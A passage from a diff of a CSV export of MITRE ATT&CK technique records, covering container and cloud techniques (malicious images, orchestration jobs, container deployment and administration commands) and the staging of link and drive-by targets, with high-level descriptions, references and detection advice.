+"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1204/003', 'external_id': 'T1204.003'}, {'source_name': 'Summit Route Malicious AMIs', 'description': 'Piper, S.. (2018, September 24). Investigating Malicious AMIs. Retrieved March 30, 2021.', 'url': 'https://summitroute.com/blog/2018/09/24/investigating_malicious_amis/'}, {'source_name': 'Aqua Security Cloud Native Threat Report June 2021', 'description': 'Team Nautilus. (2021, June). Attacks in the Wild on the Container Supply Chain and Infrastructure. Retrieved August 26, 2021.', 'url': 'https://info.aquasec.com/hubfs/Threat%20reports/AquaSecurity_Cloud_Native_Threat_Report_2021.pdf?utm_campaign=WP%20-%20Jun2021%20Nautilus%202021%20Threat%20Research%20Report&utm_medium=email&_hsmi=132931006&_hsenc=p2ANqtz-_8oopT5Uhqab8B7kE0l3iFo1koirxtyfTehxF7N-EdGYrwk30gfiwp5SiNlW3G0TNKZxUcDkYOtwQ9S6nNVNyEO-Dgrw&utm_content=132931006&utm_source=hs_automation'}]",1.1,attack-pattern,attack-pattern--b0c74ef9-c61e-4986-88cb-78da98a355ec,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-03-30T17:20:05.789Z,2021-08-26T16:42:35.318Z,Malicious Image,"Adversaries may rely on a user running a malicious image to facilitate execution. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be backdoored. Backdoored images may be uploaded to a public repository via [Upload Malware](https://attack.mitre.org/techniques/T1608/001), and users may then download and deploy an instance or container from the image without realizing the image is malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that executes cryptocurrency mining, in the instance or container.(Citation: Summit Route Malicious AMIs) -Adversaries may also name images a certain way to increase the chance of users mistakenly deploying an instance or container from the image (ex: [Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005)).",attack-pattern--b0c74ef9-c61e-4986-88cb-78da98a355ec,attack-pattern,['execution'],2021-04-12T17:54:08.797Z,2021-03-30T17:20:05.789Z,"Monitor the local image registry to make sure malicious images are not added. Track the deployment of new containers, especially from newly built images. Monitor the behavior of containers within the environment to detect anomalous behavior or malicious activity after users deploy from malicious images.","['Container: Container Creation', 'Container: Container Start', 'Command: Command Execution', 'Image: Image Creation', 'Instance: Instance Creation', 'Instance: Instance Start', 'Application Log: Application Log Content']","['Center for Threat-Informed Defense (CTID)', 'Vishwas Manral, McAfee']",,['User'],"['IaaS', 'Containers']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1053.007', 'url': 'https://attack.mitre.org/techniques/T1053/007'}, {'source_name': 'Kubernetes Jobs', 'url': 'https://kubernetes.io/docs/concepts/workloads/controllers/job/', 'description': 'The Kubernetes Authors. (n.d.). Kubernetes Jobs. Retrieved March 30, 2021.'}, {'source_name': 'Kubernetes CronJob', 'url': 'https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/', 'description': 'The Kubernetes Authors. (n.d.). Kubernetes CronJob. Retrieved March 29, 2021.'}, {'source_name': 'Threat Matrix for Kubernetes', 'url': 'https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/', 'description': 'Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved March 30, 2021.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]",1.0,True,https://attack.mitre.org/techniques/T1053/007,mitre-attack,T1053.007,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Container Orchestration Job,"Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster. +Adversaries may also name images a certain way to increase the chance of users mistakenly deploying an instance or container from the image (ex: [Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005)).(Citation: Aqua Security Cloud Native Threat Report June 2021)",['execution'],https://attack.mitre.org/techniques/T1204/003,mitre-attack,T1204.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Center for Threat-Informed Defense (CTID)', 'Vishwas Manral, McAfee']","['Container: Container Creation', 'Container: Container Start', 'Command: Command Execution', 'Image: Image Creation', 'Instance: Instance Creation', 'Instance: Instance Start', 'Application Log: Application Log Content']",,"Monitor the local image registry to make sure malicious images are not added. Track the deployment of new containers, especially from newly built images. Monitor the behavior of containers within the environment to detect anomalous behavior or malicious activity after users deploy from malicious images.",True,['User'],"['IaaS', 'Containers']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1053/007', 'external_id': 'T1053.007'}, {'source_name': 'Kubernetes Jobs', 'description': 'The Kubernetes Authors. (n.d.). Kubernetes Jobs. Retrieved March 30, 2021.', 'url': 'https://kubernetes.io/docs/concepts/workloads/controllers/job/'}, {'source_name': 'Kubernetes CronJob', 'description': 'The Kubernetes Authors. (n.d.). Kubernetes CronJob. Retrieved March 29, 2021.', 'url': 'https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/'}, {'source_name': 'Threat Matrix for Kubernetes', 'description': 'Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved March 30, 2021.', 'url': 'https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/'}]",1.1,attack-pattern,attack-pattern--1126cab1-c700-412f-a510-61f4937bb096,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-03-29T17:06:22.247Z,2021-07-27T17:38:17.146Z,Container Orchestration Job,"Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster. -In Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in the cluster.(Citation: Threat Matrix for Kubernetes)",attack-pattern--1126cab1-c700-412f-a510-61f4937bb096,attack-pattern,"['execution', 'persistence', 'privilege-escalation']",2021-04-12T18:09:46.821Z,2021-03-29T17:06:22.247Z,Monitor for the anomalous creation of scheduled jobs in container orchestration environments. Use logging agents on Kubernetes nodes and retrieve logs from sidecar proxies for application and resource pods to monitor malicious container orchestration job deployments. ,"['Scheduled Job: Scheduled Job Creation', 'Container: Container Creation', 'File: File Creation']","['Center for Threat-Informed Defense (CTID)', 'Vishwas Manral, McAfee', 'Yossi Weizman, Azure Defender Research Team']",,['User'],['Containers'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1610', 'url': 'https://attack.mitre.org/techniques/T1610'}, {'source_name': 'Docker Containers API', 'url': 'https://docs.docker.com/engine/api/v1.41/#tag/Container', 'description': 'Docker. (n.d.). Docker Engine API v1.41 Reference - Container. Retrieved March 29, 2021.'}, {'source_name': 'Kubernetes Dashboard', 'url': 'https://kubernetes.io/docs/tasks/access-application-cluster/web-ui-dashboard/', 'description': 'The Kubernetes Authors. (n.d.). Kubernetes Web UI (Dashboard). Retrieved March 29, 2021.'}, {'source_name': 'Kubeflow Pipelines', 'url': 'https://www.kubeflow.org/docs/components/pipelines/overview/pipelines-overview/', 'description': 'The Kubeflow Authors. (n.d.). Overview of Kubeflow Pipelines. Retrieved March 29, 2021.'}, {'source_name': 'Aqua Build Images on Hosts', 'url': 'https://blog.aquasec.com/malicious-container-image-docker-container-host', 'description': 'Assaf Morag. (2020, July 15). Threat Alert: Attackers Building Malicious Images on Your Hosts. Retrieved March 29, 2021.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]",1.0,False,https://attack.mitre.org/techniques/T1610,mitre-attack,T1610,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Deploy Container,"Adversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment. +In Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.(Citation: Threat Matrix for Kubernetes)","['execution', 'persistence', 'privilege-escalation']",https://attack.mitre.org/techniques/T1053/007,mitre-attack,T1053.007,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Center for Threat-Informed Defense (CTID)', 'Vishwas Manral, McAfee', 'Yossi Weizman, Azure Defender Research Team']","['Scheduled Job: Scheduled Job Creation', 'Container: Container Creation', 'File: File Creation']",,Monitor for the anomalous creation of scheduled jobs in container orchestration environments. Use logging agents on Kubernetes nodes and retrieve logs from sidecar proxies for application and resource pods to monitor malicious container orchestration job deployments. ,True,['User'],['Containers'],True,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1610', 'external_id': 'T1610'}, {'source_name': 'Docker Containers API', 'description': 'Docker. (n.d.). Docker Engine API v1.41 Reference - Container. Retrieved March 29, 2021.', 'url': 'https://docs.docker.com/engine/api/v1.41/#tag/Container'}, {'source_name': 'Kubernetes Dashboard', 'description': 'The Kubernetes Authors. (n.d.). Kubernetes Web UI (Dashboard). Retrieved March 29, 2021.', 'url': 'https://kubernetes.io/docs/tasks/access-application-cluster/web-ui-dashboard/'}, {'source_name': 'Kubeflow Pipelines', 'description': 'The Kubeflow Authors. (n.d.). Overview of Kubeflow Pipelines. Retrieved March 29, 2021.', 'url': 'https://www.kubeflow.org/docs/components/pipelines/overview/pipelines-overview/'}, {'source_name': 'Aqua Build Images on Hosts', 'description': 'Assaf Morag. (2020, July 15). Threat Alert: Attackers Building Malicious Images on Your Hosts. Retrieved March 29, 2021.', 'url': 'https://blog.aquasec.com/malicious-container-image-docker-container-host'}]",1.0,attack-pattern,attack-pattern--56e0d8b8-3e25-49dd-9050-3aa252f5aa92,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-03-29T16:51:26.020Z,2021-04-14T12:02:20.641Z,Deploy Container,"Adversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment. -Containers can be deployed by various means, such as via Docker's create and start APIs or via a web application such as the Kubernetes dashboard or Kubeflow.(Citation: Docker Containers API)(Citation: Kubernetes Dashboard)(Citation: Kubeflow Pipelines) Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.(Citation: Aqua Build Images on Hosts)",attack-pattern--56e0d8b8-3e25-49dd-9050-3aa252f5aa92,attack-pattern,"['defense-evasion', 'execution']",2021-04-14T12:02:20.641Z,2021-03-29T16:51:26.020Z,"Monitor for suspicious or unknown container images and pods in your environment. Deploy logging agents on Kubernetes nodes and retrieve logs from sidecar proxies for application pods to detect malicious activity at the cluster level. In Docker, the daemon log provides insight into remote API calls, including those that deploy containers. Logs for management services or applications used to deploy containers other than the native technologies themselves should also be monitored.","['Container: Container Creation', 'Container: Container Start', 'Pod: Pod Creation', 'Pod: Pod Modification', 'Application Log: Application Log Content']","['Pawan Kinger, @kingerpawan, Trend Micro', 'Alfredo Oliveira, Trend Micro', 'Idan Frimark, Cisco', 'Center for Threat-Informed Defense (CTID)', 'Magno Logan, @magnologan, Trend Micro', 'Ariel Shuper, Cisco', 'Vishwas Manral, McAfee', 'Yossi Weizman, Azure Defender Research Team']",,"['User', 'root']",['Containers'],True,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1609', 'url': 'https://attack.mitre.org/techniques/T1609'}, {'source_name': 'Docker Daemon CLI', 'url': 'https://docs.docker.com/engine/reference/commandline/dockerd/', 'description': 'Docker. (n.d.). DockerD CLI. Retrieved March 29, 2021.'}, {'source_name': 'Kubernetes API', 'url': 'https://kubernetes.io/docs/concepts/overview/kubernetes-api/', 'description': 'The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved March 29, 2021.'}, {'source_name': 'Kubernetes Kubelet', 'url': 'https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/', 'description': 'The Kubernetes Authors. (n.d.). Kubelet. Retrieved March 29, 2021.'}, {'source_name': 'Docker Entrypoint', 'url': 'https://docs.docker.com/engine/reference/run/#entrypoint-default-command-to-execute-at-runtime', 'description': 'Docker. (n.d.). Docker run reference. Retrieved March 29, 2021.'}, {'source_name': 'Docker Exec', 'url': 'https://docs.docker.com/engine/reference/commandline/exec/', 'description': 'Docker. (n.d.). Docker Exec. Retrieved March 29, 2021.'}, {'source_name': 'Kubectl Exec Get Shell', 'url': 'https://kubernetes.io/docs/tasks/debug-application-cluster/get-shell-running-container/', 'description': 'The Kubernetes Authors. (n.d.). Get a Shell to a Running Container. Retrieved March 29, 2021.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]",1.0,False,https://attack.mitre.org/techniques/T1609,mitre-attack,T1609,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Container Administration Command,"Adversaries may abuse a container administration service to execute commands within a container. A container administration service such as the Docker daemon, the Kubernetes API server, or the kubelet may allow remote management of containers within an environment.(Citation: Docker Daemon CLI)(Citation: Kubernetes API)(Citation: Kubernetes Kubelet) +Containers can be deployed by various means, such as via Docker's create and start APIs or via a web application such as the Kubernetes dashboard or Kubeflow.(Citation: Docker Containers API)(Citation: Kubernetes Dashboard)(Citation: Kubeflow Pipelines) Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.(Citation: Aqua Build Images on Hosts)","['defense-evasion', 'execution']",https://attack.mitre.org/techniques/T1610,mitre-attack,T1610,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Pawan Kinger, @kingerpawan, Trend Micro', 'Alfredo Oliveira, Trend Micro', 'Idan Frimark, Cisco', 'Center for Threat-Informed Defense (CTID)', 'Magno Logan, @magnologan, Trend Micro', 'Ariel Shuper, Cisco', 'Vishwas Manral, McAfee', 'Yossi Weizman, Azure Defender Research Team']","['Container: Container Creation', 'Container: Container Start', 'Pod: Pod Creation', 'Pod: Pod Modification', 'Application Log: Application Log Content']",,"Monitor for suspicious or unknown container images and pods in your environment. Deploy logging agents on Kubernetes nodes and retrieve logs from sidecar proxies for application pods to detect malicious activity at the cluster level. In Docker, the daemon log provides insight into remote API calls, including those that deploy containers. Logs for management services or applications used to deploy containers other than the native technologies themselves should also be monitored.",False,"['User', 'root']",['Containers'],True,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1609', 'external_id': 'T1609'}, {'source_name': 'Docker Daemon CLI', 'description': 'Docker. (n.d.). DockerD CLI. Retrieved March 29, 2021.', 'url': 'https://docs.docker.com/engine/reference/commandline/dockerd/'}, {'source_name': 'Kubernetes API', 'description': 'The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved March 29, 2021.', 'url': 'https://kubernetes.io/docs/concepts/overview/kubernetes-api/'}, {'source_name': 'Kubernetes Kubelet', 'description': 'The Kubernetes Authors. (n.d.). Kubelet. Retrieved March 29, 2021.', 'url': 'https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/'}, {'source_name': 'Docker Entrypoint', 'description': 'Docker. (n.d.). Docker run reference. Retrieved March 29, 2021.', 'url': 'https://docs.docker.com/engine/reference/run/#entrypoint-default-command-to-execute-at-runtime'}, {'source_name': 'Docker Exec', 'description': 'Docker. (n.d.). Docker Exec. Retrieved March 29, 2021.', 'url': 'https://docs.docker.com/engine/reference/commandline/exec/'}, {'source_name': 'Kubectl Exec Get Shell', 'description': 'The Kubernetes Authors. (n.d.). Get a Shell to a Running Container. Retrieved March 29, 2021.', 'url': 'https://kubernetes.io/docs/tasks/debug-application-cluster/get-shell-running-container/'}]",1.0,attack-pattern,attack-pattern--7b50a1d3-4ca7-45d1-989d-a6503f04bfe1,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-03-29T16:39:26.183Z,2021-04-14T12:01:10.545Z,Container Administration Command,"Adversaries may abuse a container administration service to execute commands within a container. A container administration service such as the Docker daemon, the Kubernetes API server, or the kubelet may allow remote management of containers within an environment.(Citation: Docker Daemon CLI)(Citation: Kubernetes API)(Citation: Kubernetes Kubelet) -In Docker, adversaries may specify an entrypoint during container deployment that executes a script or command, or they may use a command such as docker exec to execute a command within a running container.(Citation: Docker Entrypoint)(Citation: Docker Exec) In Kubernetes, if an adversary has sufficient permissions, they may gain remote execution in a container in the cluster via interaction with the Kubernetes API server, the kubelet, or by running a command such as kubectl exec.(Citation: Kubectl Exec Get Shell)",attack-pattern--7b50a1d3-4ca7-45d1-989d-a6503f04bfe1,attack-pattern,['execution'],2021-04-14T12:01:10.545Z,2021-03-29T16:39:26.183Z,"Container administration service activities and executed commands can be captured through logging of process execution with command-line arguments on the container and the underlying host. In Docker, the daemon log provides insight into events at the daemon and container service level. Kubernetes system component logs may also detect activities running in and out of containers in the cluster. ",['Command: Command Execution'],"['Alfredo Oliveira, Trend Micro', 'David Fiser, @anu4is, Trend Micro', 'Brad Geesaman, @bradgeesaman', 'Center for Threat-Informed Defense (CTID)', 'Magno Logan, @magnologan, Trend Micro', 'Vishwas Manral, McAfee', 'Yossi Weizman, Azure Defender Research Team']",,,['Containers'],True,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1608.005', 'url': 'https://attack.mitre.org/techniques/T1608/005'}, {'source_name': 'Malwarebytes Silent Librarian October 2020', 'url': 'https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/', 'description': 'Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021.'}, {'source_name': 'Proofpoint TA407 September 2019', 'url': 'https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian', 'description': 'Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]",1.0,True,https://attack.mitre.org/techniques/T1608/005,mitre-attack,T1608.005,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Link Target,"Adversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in [Malicious Link](https://attack.mitre.org/techniques/T1204/001). Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003)) or a phish to gain initial access to a system (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002)), an adversary must set up the resources for a link target for the spearphishing link. +In Docker, adversaries may specify an entrypoint during container deployment that executes a script or command, or they may use a command such as docker exec to execute a command within a running container.(Citation: Docker Entrypoint)(Citation: Docker Exec) In Kubernetes, if an adversary has sufficient permissions, they may gain remote execution in a container in the cluster via interaction with the Kubernetes API server, the kubelet, or by running a command such as kubectl exec.(Citation: Kubectl Exec Get Shell)",['execution'],https://attack.mitre.org/techniques/T1609,mitre-attack,T1609,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Alfredo Oliveira, Trend Micro', 'David Fiser, @anu4is, Trend Micro', 'Brad Geesaman, @bradgeesaman', 'Center for Threat-Informed Defense (CTID)', 'Magno Logan, @magnologan, Trend Micro', 'Vishwas Manral, McAfee', 'Yossi Weizman, Azure Defender Research Team']",['Command: Command Execution'],,"Container administration service activities and executed commands can be captured through logging of process execution with command-line arguments on the container and the underlying host. In Docker, the daemon log provides insight into events at the daemon and container service level. Kubernetes system component logs may also detect activities running in and out of containers in the cluster. ",False,,['Containers'],True,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1608/005', 'external_id': 'T1608.005'}, {'source_name': 'Malwarebytes Silent Librarian October 2020', 'description': 'Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021.', 'url': 'https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/'}, {'source_name': 'Proofpoint TA407 September 2019', 'description': 'Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021.', 'url': 'https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian'}]",1.1,attack-pattern,attack-pattern--84ae8255-b4f4-4237-b5c5-e717405a9701,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-03-17T20:35:08.429Z,2021-10-17T16:28:41.565Z,Link Target,"Adversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in [Malicious Link](https://attack.mitre.org/techniques/T1204/001). Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003)) or a phish to gain initial access to a system (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002)), an adversary must set up the resources for a link target for the spearphishing link. Typically, the resources for a link target will be an HTML page that may include some client-side script such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) to decide what content to serve to the user. Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003).(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019) Adversaries may also [Upload Malware](https://attack.mitre.org/techniques/T1608/001) and have the link target point to malware for download/execution by the user. -Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Malicious Link](https://attack.mitre.org/techniques/T1204/001). Link shortening services can also be employed.",attack-pattern--84ae8255-b4f4-4237-b5c5-e717405a9701,attack-pattern,['resource-development'],2021-04-27T17:53:29.106Z,2021-03-17T20:35:08.429Z,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003), [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002), or [Malicious Link](https://attack.mitre.org/techniques/T1204/001).",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1608.004', 'url': 'https://attack.mitre.org/techniques/T1608/004'}, {'source_name': 'FireEye CFR Watering Hole 2012', 'url': 'https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html', 'description': 'Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details. Retrieved December 18, 2020.'}, {'source_name': 'Gallagher 2015', 'description': 'Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking group hacked 100+ websites to use as “watering holes”. Retrieved January 25, 2016.', 'url': 'http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/'}, {'source_name': 'ATT ScanBox', 'url': 'https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks', 'description': 'Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]",1.0,True,https://attack.mitre.org/techniques/T1608/004,mitre-attack,T1608.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Drive-by Target,"Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001). Prior to [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). +Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Malicious Link](https://attack.mitre.org/techniques/T1204/001). Link shortening services can also be employed.",['resource-development'],https://attack.mitre.org/techniques/T1608/005,mitre-attack,T1608.005,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Internet Scan: Response Content'],,"If infrastructure or patterns in malicious web content have been previously identified, internet scanning may uncover when an adversary has staged web content to make it accessible for targeting. + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003), [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002), or [Malicious Link](https://attack.mitre.org/techniques/T1204/001).",True,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1608/004', 'external_id': 'T1608.004'}, {'source_name': 'FireEye CFR Watering Hole 2012', 'description': 'Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details. Retrieved December 18, 2020.', 'url': 'https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html'}, {'source_name': 'Gallagher 2015', 'description': 'Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking group hacked 100+ websites to use as “watering holes”. Retrieved January 25, 2016.', 'url': 'http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/'}, {'source_name': 'ATT ScanBox', 'description': 'Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.', 'url': 'https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks'}]",1.1,attack-pattern,attack-pattern--31fe0ba2-62fd-4fd9-9293-4043d84f7fe9,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-03-17T20:33:20.127Z,2021-10-17T16:27:38.793Z,Drive-by Target,"Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001). Prior to [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Adversaries may upload or inject malicious web content, such as [JavaScript](https://attack.mitre.org/techniques/T1059/007), into websites.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015) This may be done in a number of ways, including inserting malicious script into web pages or other user controllable web content such as forum posts. Adversaries may also craft malicious web advertisements and purchase ad space on a website through legitimate ad providers. In addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592)) to ensure it is vulnerable prior to attempting exploitation.(Citation: ATT ScanBox) Websites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted attack is referred to a strategic web compromise or watering hole attack. -Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate 